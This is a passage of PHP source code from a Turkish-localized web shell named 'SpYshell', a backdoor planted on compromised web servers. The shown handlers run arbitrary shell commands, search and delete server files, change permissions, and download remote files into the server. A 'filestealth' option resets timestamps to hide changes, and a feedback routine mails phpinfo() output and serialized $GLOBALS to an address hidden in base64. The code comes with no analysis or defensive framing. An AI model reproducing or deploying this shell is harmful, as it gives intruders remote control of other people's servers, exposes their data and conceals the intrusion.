  3250.  else {echo "<b>Dosya Sistem' in Tampon u</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
  3251.  
  3252. }
  3253.  
  3254. if ($act == "selfremove")
  3255.  
  3256. {
  3257.  
  3258.  if (($submit == $rndcode) and ($submit != ""))
  3259.  
  3260.  {
  3261.  
  3262.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using SpYshell v.".$shver."!"; ashshexit(); }
  3263.  
  3264.   else {echo "<center><b>Silinemedi :(  ".__FILE__."!</b></center>";}
  3265.  
  3266.  }
  3267.  
  3268.  else
  3269.  
  3270.  {
  3271.  
  3272.   if (!empty($rndcode)) {echo "<b>Hata: Yanlis konfirmation</b>";}
  3273.  
  3274.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  3275.  
  3276.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Eminmisin ? <br>Dogrulama gir \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"Evet\"></form>";
  3277.  
  3278.  }
  3279.  
  3280. }
  3281.  
  3282. if ($act == "update") {$ret = ashsh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  3283.  
  3284. if ($act == "feedback")
  3285.  
  3286. {
  3287.  
  3288.  $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  3289.  
  3290.  if (!empty($submit))
  3291.  
  3292.  {
  3293.  
  3294.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  3295.  
  3296.   $body = "SpYshell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  3297.  
  3298.   if (!empty($fdbk_ref))
  3299.  
  3300.   {
  3301.  
  3302.    $tmp = @ob_get_contents();
  3303.  
  3304.    ob_clean();
  3305.  
  3306.    phpinfo();
  3307.  
  3308.    $phpinfo = base64_encode(ob_get_contents());
  3309.  
  3310.    ob_clean();
  3311.  
  3312.    echo $tmp;
  3313.  
  3314.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  3315.  
  3316.   }
  3317.  
  3318.   mail($suppmail,"SpYshell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  3319.  
  3320.   echo "<center><b>Tesekkurler kullanici id: ".$ticket.".</b></center>";
  3321.  
  3322.  }
  3323.  
  3324.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Geri besleme veya report sorun acar (".str_replace($suppmail)."Admin@spyhackerz.com):<br><br>Adin: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>e-mail Adresin : <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Mesajin :<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Server-bilgiyi ba?la* <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br><br><input type=\"submit\" name=\"submit\" value=\"Gonder\"></form>";}
  3325.  
  3326. }
  3327.  
  3328. if ($act == "search")
  3329.  
  3330. {
  3331.  
  3332.  echo "<b>Sistem Dosyalarinda Ara:</b><br>";
  3333.  
  3334.  if (empty($search_in)) {$search_in = $d;}
  3335.  
  3336.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  3337.  
  3338.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  3339.  
  3340.  if (!empty($submit))
  3341.  
  3342.  {
  3343.  
  3344.   $found = array();
  3345.  
  3346.   $found_d = 0;
  3347.  
  3348.   $found_f = 0;
  3349.  
  3350.   $search_i_f = 0;
  3351.  
  3352.   $search_i_d = 0;
  3353.  
  3354.   $a = array
  3355.  
  3356.   (
  3357.  
  3358.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  3359.  
  3360.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  3361.  
  3362.    "text_wwo"=>$search_text_wwo,
  3363.  
  3364.    "text_cs"=>$search_text_cs,
  3365.  
  3366.    "text_not"=>$search_text_not
  3367.  
  3368.   );
  3369.  
  3370.   $searchtime = getmicrotime();
  3371.  
  3372.   $in = array_unique(explode(";",$search_in));
  3373.  
  3374.   foreach($in as $v) {ashfsearch($v);}
  3375.  
  3376.   $searchtime = round(getmicrotime()-$searchtime,4);
  3377.  
  3378.   if (count($found) == 0) {echo "<b>Dosya Bulunamadi!</b>";}
  3379.  
  3380.   else
  3381.  
  3382.   {
  3383.  
  3384.    $ls_arr = $found;
  3385.  
  3386.    $disp_fullpath = true;
  3387.  
  3388.    $act = "ls";
  3389.  
  3390.   }
  3391.  
  3392.  }
  3393.  
  3394.  echo "<form method=POST>
  3395.  
  3396. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  3397.  
  3398. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  3399.  
  3400. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  3401.  
  3402. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  3403.  
  3404. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  3405.  
  3406. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  3407.  
  3408. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  3409.  
  3410. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  3411.  
  3412. <br><br><input type=submit name=submit value=\"Search\"></form>";
  3413.  
  3414.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  3415.  
  3416. }
  3417.  
  3418. if ($act == "chmod")
  3419.  
  3420. {
  3421.  
  3422.  $mode = fileperms($d.$f);
  3423.  
  3424.  if (!$mode) {echo "<b>Hata Dosya Degismedi:</b> Simdiki Value deigistirilemedi";}
  3425.  
  3426.  else
  3427.  
  3428.  {
  3429.  
  3430.   $form = true;
  3431.  
  3432.   if ($chmod_submit)
  3433.  
  3434.   {
  3435.  
  3436.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  3437.  
  3438.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
  3439.  
  3440.    else {$err = "Can't chmod to ".$octet.".";}
  3441.  
  3442.   }
  3443.  
  3444.   if ($form)
  3445.  
  3446.   {
  3447.  
  3448.    $perms = parse_perms($mode);
  3449.  
  3450.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Hata:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Okuma<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Yazma<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">Uygulanamadi!</td><td><b>Grup</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Okuma<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">Uygulanamadi!</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Okuma<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">Uygulanamadi!</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  3451.  
  3452.   }
  3453.  
  3454.  }
  3455.  
  3456. }
  3457.  
  3458. if ($act == "upload")
  3459.  
  3460. {
  3461.  
  3462.  $uploadmess = "";
  3463.  
  3464.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  3465.  
  3466.  if (empty($uploadpath)) {$uploadpath = $d;}
  3467.  
  3468.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  3469.  
  3470.  if (!empty($submit))
  3471.  
  3472.  {
  3473.  
  3474.   global $HTTP_POST_FILES;
  3475.  
  3476.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  3477.  
  3478.   if (!empty($uploadfile["tmp_name"]))
  3479.  
  3480.   {
  3481.  
  3482.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  3483.  
  3484.    else {$destin = $userfilename;}
  3485.  
  3486.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Hata Yuklenen Dosya ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  3487.  
  3488.   }
  3489.  
  3490.   elseif (!empty($uploadurl))
  3491.  
  3492.   {
  3493.  
  3494.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  3495.  
  3496.    else
  3497.  
  3498.    {
  3499.  
  3500.     $destin = explode("/",$destin);
  3501.  
  3502.     $destin = $destin[count($destin)-1];
  3503.  
  3504.     if (empty($destin))
  3505.  
  3506.     {
  3507.  
  3508.      $i = 0;
  3509.  
  3510.      $b = "";
  3511.  
  3512.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  3513.  
  3514.    }
  3515.  
  3516.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Yanlis URL!
  3517.  
  3518. </b><br>";}
  3519.  
  3520.    else
  3521.  
  3522.    {
  3523.  
  3524.     $st = getmicrotime();
  3525.  
  3526.     $content = @file_get_contents($uploadurl);
  3527.  
  3528.     $dt = round(getmicrotime()-$st,4);
  3529.  
  3530.     if (!$content) {$uploadmess .=  "Dosya Indirelemedi!<br>";}
  3531.  
  3532.     else
  3533.  
  3534.     {
  3535.  
  3536.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  3537.  
  3538.      $fp = fopen($uploadpath.$destin,"w");
  3539.  
  3540.      if (!$fp) {$uploadmess .= "Hata: Dosyaya Yazilamadi :( ".htmlspecialchars($destin)."!<br>";}
  3541.  
  3542.      else
  3543.  
  3544.      {
  3545.  
  3546.       fwrite($fp,$content,strlen($content));
  3547.  
  3548.       fclose($fp);
  3549.  
  3550.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  3551.  
  3552.      }
  3553.  
  3554.     }
  3555.  
  3556.    }
  3557.  
  3558.   }
  3559.  
  3560.  }
  3561.  
  3562.  if ($miniform)
  3563.  
  3564.  {
  3565.  
  3566.   echo "<b>".$uploadmess."</b>";
  3567.  
  3568.   $act = "ls";
  3569.  
  3570.  }
  3571.  
  3572.  else
  3573.  
  3574.  {
  3575.  
  3576.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  3577.  
  3578. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  3579.  
  3580. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  3581.  
  3582. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  3583.  
  3584. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  3585.  
  3586. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  3587.  
  3588. <input type=submit name=submit value=\"Upload(Yukle)\">
  3589.  
  3590. </form>";
  3591.  
  3592.  }
  3593.  
  3594. }
  3595.  
  3596. if ($act == "delete")
  3597.  
  3598. {
  3599.  
  3600.  $delerr = "";
  3601.  
  3602.  foreach ($actbox as $v)
  3603.  
  3604.  {
  3605.  
  3606.   $result = false;
  3607.  
  3608.   $result = fs_rmobj($v);
  3609.  
  3610.   if (!$result) {$delerr .= "Silinemedi! ".htmlspecialchars($v)."<br>";}
  3611.  
  3612.  }
  3613.  
  3614.  if (!empty($delerr)) {echo "<b>Hatalari Sil(s):</b><br>".$delerr;}
  3615.  
  3616.  $act = "ls";
  3617.  
  3618. }
  3619.  
  3620. if (!$usefsbuff)
  3621.  
  3622. {
  3623.  
  3624.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Tampon Kapali olduhu icin Yoll!!! \"\$useFSbuff\" Dogru ;)</center>";}
  3625.  
  3626. }
  3627.  
  3628. else
  3629.  
  3630. {
  3631.  
  3632.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ash_sess_put($sess_data); $act = "ls"; }
  3633.  
  3634.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ash_sess_put($sess_data); $act = "ls";}
  3635.  
  3636.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ash_sess_put($sess_data); $act = "ls";}
  3637.  
  3638.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ash_sess_put($sess_data);}
  3639.  
  3640.  elseif ($actpastebuff)
  3641.  
  3642.  {
  3643.  
  3644.   $psterr = "";
  3645.  
  3646.   foreach($sess_data["copy"] as $k=>$v)
  3647.  
  3648.   {
  3649.  
  3650.    $to = $d.basename($v);
  3651.  
  3652.    if (!fs_copy_obj($v,$to)) {$psterr .= "Kopyalanamadi!! ".$v." to ".$to."!<br>";}
  3653.  
  3654.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  3655.  
  3656.   }
  3657.  
  3658.   foreach($sess_data["cut"] as $k=>$v)
  3659.  
  3660.   {
  3661.  
  3662.    $to = $d.basename($v);
  3663.  
  3664.    if (!fs_move_obj($v,$to)) {$psterr .= "Yapistirilamadi!! ".$v." to ".$to."!<br>";}
  3665.  
  3666.    unset($sess_data["cut"][$k]);
  3667.  
  3668.   }
  3669.  
  3670.   ash_sess_put($sess_data);
  3671.  
  3672.   if (!empty($psterr)) {echo "<b>Yapistirma Hatasi (S):</b><br>".$psterr;}
  3673.  
  3674.   $act = "ls";
  3675.  
  3676.  }
  3677.  
  3678.  elseif ($actarcbuff)
  3679.  
  3680.  {
  3681.  
  3682.   $arcerr = "";
  3683.  
  3684.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  3685.  
  3686.   else {$ext = ".tar.gz";}
  3687.  
  3688.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  3689.  
  3690.   $cmdline .= " ".$actarcbuff_path;
  3691.  
  3692.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  3693.  
  3694.   foreach($objects as $v)
  3695.  
  3696.   {
  3697.  
  3698.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  3699.  
  3700.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  3701.  
  3702.    if (is_dir($v))
  3703.  
  3704.    {
  3705.  
  3706.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  3707.  
  3708.     $v .= "*";
  3709.  
  3710.    }
  3711.  
  3712.    $cmdline .= " ".$v;
  3713.  
  3714.   }
  3715.  
  3716.   $tmp = realpath(".");
  3717.  
  3718.   chdir($d);
  3719.  
  3720.   $ret = myshellexec($cmdline);
  3721.  
  3722.   chdir($tmp);
  3723.  
  3724.   if (empty($ret)) {$arcerr .= "Arsiv Aranamiyor (Hata:3)beta By KingDefacer (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  3725.  
  3726.   $ret = str_replace("\r\n","\n",$ret);
  3727.  
  3728.   $ret = explode("\n",$ret);
  3729.  
  3730.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  3731.  
  3732.   foreach($sess_data["cut"] as $k=>$v)
  3733.  
  3734.   {
  3735.  
  3736.    if (in_array($v,$ret)) {fs_rmobj($v);}
  3737.  
  3738.    unset($sess_data["cut"][$k]);
  3739.  
  3740.   }
  3741.  
  3742.   ash_sess_put($sess_data);
  3743.  
  3744.   if (!empty($arcerr)) {echo "<b>Arsivator Hatasi:</b><br>".$arcerr;}
  3745.  
  3746.   $act = "ls";
  3747.  
  3748.  }
  3749.  
  3750.  elseif ($actpastebuff)
  3751.  
  3752.  {
  3753.  
  3754.   $psterr = "";
  3755.  
  3756.   foreach($sess_data["copy"] as $k=>$v)
  3757.  
  3758.   {
  3759.  
  3760.    $to = $d.basename($v);
  3761.  
  3762.    if (!fs_copy_obj($v,$d)) {$psterr .= "Kopyalanamadi!! ".$v." to ".$to."!<br>";}
  3763.  
  3764.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  3765.  
  3766.   }
  3767.  
  3768.   foreach($sess_data["cut"] as $k=>$v)
  3769.  
  3770.   {
  3771.  
  3772.    $to = $d.basename($v);
  3773.  
  3774.    if (!fs_move_obj($v,$d)) {$psterr .= "Yapistirilamadi! ".$v." to ".$to."!<br>";}
  3775.  
  3776.    unset($sess_data["cut"][$k]);
  3777.  
  3778.   }
  3779.  
  3780.   ash_sess_put($sess_data);
  3781.  
  3782.   if (!empty($psterr)) {echo "<b>Yapistirma Hatasi:</b><br>".$psterr;}
  3783.  
  3784.   $act = "ls";
  3785.  
  3786.  }
  3787.  
  3788. }
  3789.  
  3790. if ($act == "cmd")
  3791.  
  3792. {
  3793.  
  3794. if (trim($cmd) == "ps -aux") {$act = "processes";}
  3795.  
  3796. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  3797.  
  3798. else
  3799.  
  3800. {
  3801.  
  3802.  @chdir($chdir);
  3803.  
  3804.  if (!empty($submit))
  3805.  
  3806.  {
  3807.  
  3808.   echo "<b>Ugulamanin Sonuclari</b>:<br>";
  3809.  
  3810.   $olddir = realpath(".");
  3811.  
  3812.   @chdir($d);
  3813.  
  3814.   $ret = myshellexec($cmd);
  3815.  
  3816.   $ret = convert_cyr_string($ret,"d","w");
  3817.  
  3818.   if ($cmd_txt)
  3819.  
  3820.   {
  3821.  
  3822.    $rows = count(explode("\r\n",$ret))+1;
  3823.  
  3824.    if ($rows < 10) {$rows = 10;}
  3825.  
  3826.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  3827.  
  3828.   }
  3829.  
  3830.   else {echo $ret."<br>";}
  3831.  
  3832.   @chdir($olddir);
  3833.  
  3834.  }
  3835.  
  3836.  else {echo "<b>Uygulama Yonet </b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
  3837.  
  3838.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Tamam\">&nbsp;Metni Alan icinde goster&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  3839.  
  3840. }
  3841.  
  3842. }
  3843.  
  3844. if ($act == "ls")
  3845.  
  3846. {
  3847.  
  3848.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  3849.  
  3850.  else
  3851.  
  3852.  {
  3853.  
  3854.   $list = array();
  3855.  
  3856.   if ($h = @opendir($d))
  3857.  
  3858.   {
  3859.  
  3860.    while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
  3861.  
  3862.    closedir($h);
  3863.  
  3864.   }
  3865.  
  3866.   else {}
  3867.  
  3868.  }
  3869.  
  3870.  if (count($list) == 0) {echo "<center><b>Klasor Acilamiyor. (".htmlspecialchars($d).")!</b></center>";}
  3871.  
  3872.  else
  3873.  
  3874.  {
  3875.  
  3876.   //Building array
  3877.  
  3878.   $objects = array();
  3879.  
  3880.   $vd = "f"; //Viewing mode
  3881.  
  3882.   if ($vd == "f")
  3883.  
  3884.   {
  3885.  
  3886.    $objects["head"] = array();
  3887.  
  3888.    $objects["folders"] = array();
  3889.  
  3890.    $objects["links"] = array();
  3891.  
  3892.    $objects["files"] = array();
  3893.  
  3894.    foreach ($list as $v)
  3895.  
  3896.    {
  3897.  
  3898.     $o = basename($v);
  3899.  
  3900.     $row = array();
  3901.  
  3902.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  3903.  
  3904.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  3905.  
  3906.     elseif (is_dir($v))
  3907.  
  3908.     {
  3909.  
  3910.      if (is_link($v)) {$type = "LINK";}
  3911.  
  3912.      else {$type = "DIR";}
  3913.  
  3914.      $row[] = $v;
  3915.  
  3916.      $row[] = $type;
  3917.  
  3918.     }
  3919.  
  3920.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  3921.  
  3922.     $row[] = filemtime($v);
  3923.  
  3924.     if (!$win)
  3925.  
  3926.     {
  3927.  
  3928.      $ow = posix_getpwuid(fileowner($v));
  3929.  
  3930.      $gr = posix_getgrgid(filegroup($v));
  3931.  
  3932.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  3933.  
  3934.     }
  3935.  
  3936.     $row[] = fileperms($v);
  3937.  
  3938.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  3939.  
  3940.     elseif (is_link($v)) {$objects["links"][] = $row;}
  3941.  
  3942.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  3943.  
  3944.     elseif (is_file($v)) {$objects["files"][] = $row;}
  3945.  
  3946.     $i++;
  3947.  
  3948.    }
  3949.  
  3950.    $row = array();
  3951.  
  3952.    $row[] = "<b>Isim</b>";
  3953.  
  3954.    $row[] = "<b>Boyut</b>";
  3955.  
  3956.    $row[] = "<b>Degistirme</b>";
  3957.  
  3958.    if (!$win)
  3959.  
  3960.   {$row[] = "<b>Sahip/Grup</b>";}
  3961.  
  3962.    $row[] = "<b>Permissions(Yetki)</b>";
  3963.  
  3964.    $row[] = "<b>Oznitelik</b>";
  3965.  
  3966.    $parsesort = parsesort($sort);
  3967.  
  3968.    $sort = $parsesort[0].$parsesort[1];
  3969.  
  3970.    $k = $parsesort[0];
  3971.  
  3972.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  3973.  
  3974.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  3975.  
  3976.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  3977.  
  3978.    $row[$k] .= $y;
  3979.  
  3980.    for($i=0;$i<count($row)-1;$i++)
  3981.  
  3982.    {
  3983.  
  3984.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  3985.  
  3986.    }
  3987.  
  3988.    $v = $parsesort[0];
  3989.  
  3990.    usort($objects["folders"], "tabsort");
  3991.  
  3992.    usort($objects["links"], "tabsort");
  3993.  
  3994.    usort($objects["files"], "tabsort");
  3995.  
  3996.    if ($parsesort[1] == "d")
  3997.  
  3998.    {
  3999.  
  4000.     $objects["folders"] = array_reverse($objects["folders"]);
  4001.  
  4002.     $objects["files"] = array_reverse($objects["files"]);
  4003.  
  4004.    }
  4005.  
  4006.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  4007.  
  4008.    $tab = array();
  4009.  
  4010.    $tab["cols"] = array($row);
  4011.  
  4012.    $tab["head"] = array();
  4013.  
  4014.    $tab["folders"] = array();
  4015.  
  4016.    $tab["links"] = array();
  4017.  
  4018.    $tab["files"] = array();
  4019.  
  4020.    $i = 0;
  4021.  
  4022.    foreach ($objects as $a)
  4023.  
  4024.    {
  4025.  
  4026.     $v = $a[0];
  4027.  
  4028.     $o = basename($v);
  4029.  
  4030.     $dir = dirname($v);
  4031.  
  4032.     if ($disp_fullpath) {$disppath = $v;}
  4033.  
  4034.     else {$disppath = $o;}
  4035.  
  4036.     $disppath = str2mini($disppath,60);
  4037.  
  4038.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  4039.  
  4040.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  4041.  
  4042.     foreach ($regxp_highlight as $r)
  4043.  
  4044.     {
  4045.  
  4046.      if (ereg($r[0],$o))
  4047.  
  4048.      {
  4049.  
  4050.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Uyari! Konfigirasyon i?inde hata \$regxp_highlight[".$k."][0] - Bilinmeyen Komut."; ashshexit();}
  4051.  
  4052.       else
  4053.  
  4054.       {
  4055.  
  4056.        $r[1] = round($r[1]);
  4057.  
  4058.        $isdir = is_dir($v);
  4059.  
  4060.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  4061.  
  4062.        {
  4063.  
  4064.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  4065.  
  4066.         $disppath = $r[2].$disppath.$r[3];
  4067.  
  4068.         if ($r[4]) {break;}
  4069.  
  4070.        }
  4071.  
  4072.       }
  4073.  
  4074.      }
  4075.  
  4076.     }
  4077.  
  4078.     $uo = urlencode($o);
  4079.  
  4080.     $ud = urlencode($dir);
  4081.  
  4082.     $uv = urlencode($v);
  4083.  
  4084.     $row = array();
  4085.  
  4086.     if ($o == ".")
  4087.  
  4088.     {
  4089.  
  4090.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  4091.  
  4092.      $row[] = "LINK";
  4093.  
  4094.     }
  4095.  
  4096.     elseif ($o == "..")
  4097.  
  4098.     {
  4099.  
  4100.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  4101.  
  4102.      $row[] = "LINK";
  4103.  
  4104.     }
  4105.  
  4106.     elseif (is_dir($v))
  4107.  
  4108.     {
  4109.  
  4110.      if (is_link($v))
  4111.  
  4112.      {
  4113.  
  4114.       $disppath .= " => ".readlink($v);
  4115.  
  4116.       $type = "LINK";
  4117.  
  4118.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  4119.  
  4120.      }
  4121.  
  4122.      else
  4123.  
  4124.      {
  4125.  
  4126.       $type = "DIR";
  4127.  
  4128.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  4129.  
  4130.       }
  4131.  
  4132.      $row[] = $type;
  4133.  
  4134.     }
  4135.  
  4136.     elseif(is_file($v))
  4137.  
  4138.     {
  4139.  
